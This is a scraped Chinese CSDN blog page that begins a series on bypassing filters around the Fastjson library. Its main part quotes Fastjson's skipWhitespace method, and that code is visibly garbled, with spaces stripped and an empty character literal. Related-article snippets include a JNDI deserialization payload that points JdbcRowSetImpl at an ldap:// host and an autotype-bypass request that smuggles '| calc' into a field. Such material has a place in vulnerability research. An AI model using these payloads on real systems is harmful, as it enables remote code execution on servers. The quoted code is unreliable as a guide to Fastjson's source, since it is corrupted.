Fastjson bypass【一】添加空⽩字符

最新推荐文章于 2024-07-04 16:37:43 发布
最新推荐文章于 2024-07-04 16:37:43 发布
阅读量214 收藏
点赞数 2
文章标签： 前端 linux javascript
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/XZ_______/article/details/137954883
版权
本文详细解释了阿里巴巴Fastjson库中`JSONLexerBase`类的`skipWhitespace`方法，该方法用于处理JSON数据中的默认空白字符移除，包括空格、换行符等，以及处理注释的逻辑。
摘要由CSDN通过智能技术生成

在 com.alibaba.fastjson.parser.JSONLexerBase#skipWhitespace


```java
publicfinalvoidskipWhitespace(){
    while(true){
      while(true){
        if(this.ch<='/'){
          if(this.ch==''||this.ch=='\r'||this.ch=='\n'||this.ch=='\t'||this.ch=='\f'||this.ch=='\b'){
            this.next();
            continue;
         }
          if(this.ch=='/'){
            this.skipComment();            continue;
         }
       }
        return;
     }
   }
 }

不难看出默认会去除键、值外的空格、\b、\n、\r、\f等，作为开胃菜

不爱学习的安全小白
关注
  • 2
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
Fastjson 漏洞利用技巧
05-08 2786
每次看到json数据包，都难免会想起Fastjson以及它多个版本存在的漏洞。如何实现自动化检测以及简化攻击步骤，从而提升漏洞发现能力，让你更有效率的Tips，在这里和大家分享下。01、自动化漏洞检测一款基于BurpSuite的被动式FastJson检测插件，这个插件会对BurpSuite传进来的带有json数据的请求包进行检测。Github项目地址：https://gi...
FastjsonJNDI利用及Bypass高版本限制
！
01-22 566
FastjsonJNDI利用及Bypass高版本限制 Fastjson 在用 parse(obj) 还原对象的属性时会调用对象的 setter 方法为属性赋值，比如要还原 JdbcRowSetImpl 对象的autoCommit 属性，则会调用 JdbcRowSetImpl#setAutoCommit 方法进行还原，而下面的利用也基本都是基于这一点！ Fastjson <= 1.2.24 还原 autoCommit 属性时调用 JdbcRowSetImpl#setAutoCommit 方法，setAu
fastjson反序列化链分析与bypass
灰太的表格的博客
03-15 717
a_g_e。
Fastjson反序列化和致远OAFastjson漏洞
maverickpig的博客
07-19 7114
Fastjson反序列化和致远OAFastjson漏洞
FastJson之autotype bypass
洋洋的小黑屋
08-04 778
FastJson之autotype bypass 在1.2.25版本之后，添加了checkAutoType方法。在方法中引入了白名单（AutoType）、黑名单（denyList）和autoTypeSupport选项 checkAutoType方法 把ubuntu靶机的fastjson版本换到1.2.25，使用原始的payload进行debug {"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.2
fastjson-bypass-autotype-1.2.68:fastjson使用Throwable和AutoCloseable绕过自动类型1.2.68
03-08
fastjson-bypass-autotype-1.2.68 fastjson因为exceptClass期望类的特性导致可以通过AutoCloseable和Throwable绕过自动类型。 复现 运行org.chabug.fastjson.DemoApplication ，访问 自动关闭绕过 POST /parseObject HTTP/1.1 Host: test.local:8082 Connection: close Content-Type: application/json Content-Length: 131 { "@type":"java.lang.AutoCloseable", "@type": "org.chabug.fastjson.exploit.ExecCloseable", "domain": "y4er.com | calc" } 可投掷绕过
Java fastjson解析json字符串实现过程解析
10-14
在开始解析JSON字符串之前，首先需要将Fastjson的依赖添加到项目中。如果你使用的是Maven，可以在pom.xml文件中添加以下依赖： ```xml <groupId>com.alibaba</groupId> <artifactId>fastjson <version>1.2.67 ...
list转json字符串 FastJSON 调用
05-19
2. 将List转换为JSON字符串：FastJSON提供了一个`JSON.toJSONString()`方法，可以将Java对象转换为JSON字符串。例如，如果你有一个`List<String>`，转换代码如下： ```java import com.alibaba.fastjson.JSON; List...
fastjson的一个小例子
11-19
FastJson是阿里巴巴开源的一款高性能的JSON库，它主要用于Java对象与JSON字符串之间的转换。在这个小例子中，我们将深入探讨FastJson的使用方法，以及它如何帮助开发者在Android开发中快速处理JSON数据。 在Android...
FastJson对于JSON格式字符串、JSON对象及JavaBean之间的相互转换操作
10-19
在Java开发中，处理JSON数据时，FastJson是一个高效且功能丰富的库，由阿里巴巴提供。FastJson支持JSON格式字符串、JSON对象（JSONObject）以及JavaBean之间的相互转换，使得数据处理变得简单。以下将详细解释这些...
java使用fastJson处理复杂Json字符串，直接获取key对应的value值
08-10
java使用fastJson处理复杂Json字符串，直接获取key对应的value值
java的autotype,Fastjson 1.2.68 最新版本有限制 autotype bypass
weixin_32657751的博客
03-10 373
关于漏洞该漏洞和以往的 autotype bypass 不同，要求 gadget 必须继承自 Throwable 异常类，所以常见的 JNDI gadget 就无法在此处使用。所以只能找在异常类中的构造方法、set方法、get方法、toString等方法内的敏感操作才会触发漏洞。由于异常类中很少使用高危函数，所以我目前还没有找到可以 RCE 的 gadget，只找到了几个非 RCE 的 gadge...
Fastjson 1.2.68 bypass autotype
公众号shadow sock7
05-11 4893
参考： fastjson 1.2.68 最新版本有限制 autotype bypass 1.2.68加入了一个safeMode功能，默认未开启，需要用户手动开启。以下利用在默认未开启情况下可利用。 修复方法： ParserConfig.getGlobalInstance().setSafeMode(true); 依赖： <!-- test for fastjson 1.2.68 autotype bypass --> <dependency>
绕过漏洞危害_fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路
weixin_31067983的博客
12-28 1026
关于漏洞fastjson 的这个新漏洞在 1.2.68 及之前版本的 autotype 关闭的情况下仍然可以绕过限制反序列化，相比 1.2.47 版本的漏洞来讲这个版本的漏洞还是有一些限制的(关于 1.2.47 漏洞可以参考我的另一篇文章《Java 反序列化漏洞始末(3)— fastjson》[1])，例如 1.2.47 是可以绕过黑名单的限制的，而这个漏洞则无法绕过黑名单，并且需要类实...
Vuex 核心揭秘：打造高效前端状态库
a3098448071的博客
07-03 1044
状态（State）类似于 Vue 组件的data属性，用于存储组件的响应式数据。在 Vuex 中，state用于存储整个应用的全局状态。Getters类似于 Vue 组件的computed计算属性，它们用于从其他数据派生出新的数据。在 Vuex 中，getters用于从state中派生出一些状态，这些状态可以根据state的变化而缓存或重新计算。Mutations类似于 Vue 组件的methods中的方法，用于改变组件的data。在 Vuex 中，mutations用于改变state。
WHAT - NextJS 的路由系统和 react-router-dom
最新发布
weixin_58540586的博客
07-04 817
不，Next.js 的路由系统并不基于。Next.js 本身内置了自己的路由系统，并且在其生命周期和工作方式上与有所不同。
在 .NET 8 Web API 中实现弹性
技术探索驿站
07-03 564
通过执行这些步骤，您已使用 Microsoft.Extensions.Http.Resilience 库将弹性集成到 .NET 8 Web API 项目中。重试策略、断路器设置和超时将有助于确保您的 API 能够抵御瞬时故障，从而提高其可靠性和用户体验。
【vueUse库Component模块各函数简介及使用方法--上篇】
xiejunlan的博客
07-02 1322
vueUseComponent函数理解 `computedInject` 的概念模拟 `computedInject`使用场景总结构想`createReusableTemplate`的用途可能的实现方式方法一：使用高阶组件（HOC）方法二：使用插槽（Slots）和默认插槽内容结论构想`createTemplatePromise`的用途可能的实现方式使用Vue 3的异步组件构想中的`createTemplatePromise`结论使用Vue的`ref`属性在模板中引用元素或组件示例：引用模板中的DOM元素。
fastjson 反序列化 空字符串报错
03-06
fastjson是一个Java语言编写的高性能JSON处理库，它提供了丰富的功能和灵活的API，可以方便地进行JSON的序列化和反序列化操作。 在fastjson中，当进行反序列化操作时，如果遇到空字符串（""），会抛出异常。这是因为fastjson默认情况下不支持将空字符串转换为Java对象，而是期望一个有效的JSON值。 如果你想要在反序列化时忽略空字符串，可以通过配置fastjson的特性来实现。具体做法是使用`Feature.IgnoreEmptyString`特性，示例如下： ```java import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; public class FastJsonDemo { public static void main(String[] args) { String jsonString = "{\"name\":\"Alice\",\"age\":\"\"}"; // 设置忽略空字符串特性 JSON.parseObject(jsonString, User.class, Feature.IgnoreEmptyString); // 此时不会抛出异常 } } class User { private String name; private int age; // 省略getter和setter方法 } ``` 通过设置`Feature.IgnoreEmptyString`特性，fastjson会在反序列化时忽略空字符串，并将其转换为默认值或者null。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

不爱学习的安全小白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值